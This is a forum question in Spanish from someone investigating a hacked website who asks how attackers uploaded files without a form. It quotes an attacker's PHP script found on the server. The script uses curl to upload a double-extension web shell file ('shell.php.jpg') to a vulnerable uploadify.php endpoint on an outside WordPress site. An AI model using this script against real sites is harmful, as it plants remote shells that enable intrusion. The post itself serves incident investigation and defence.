Se me confió un sitio web existente para el que debería hacer algunos cambios en la parte de diseño, pero cuando estaba a punto de acceder a él, he visto que se ha comprometido. Cuando estaba buscando el problema, encontré un archivo PHP de vulnerabilidad que contiene este código:
$uploadfile="shell.php.jpg";
$ch = curl_init("http://macwallpaper.net/wp-content/themes/echea/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
Puedo averiguar qué está haciendo este script, pero no tengo idea de cómo el atacante logró subirlo al servidor. La única forma que tenía el sitio web era un formulario de contacto, y era solo la parte HTML sin la función de correo. Además, he encontrado 4 archivos PHP más diseñados como shells, con mucho código dentro, por lo que no lo publicaré aquí.
¿Hay alguna forma de implementar dichos paquetes sin cargar un formulario, en realidad sin un formulario?
EDITAR: El sitio web tiene una base de datos, pero no hay otra plataforma de control como un portal de administración o una zona de cliente (no hay acceso directo a la base de datos), tiene un ftp, pero no tengo otra información con respecto a ssh / scp, etc.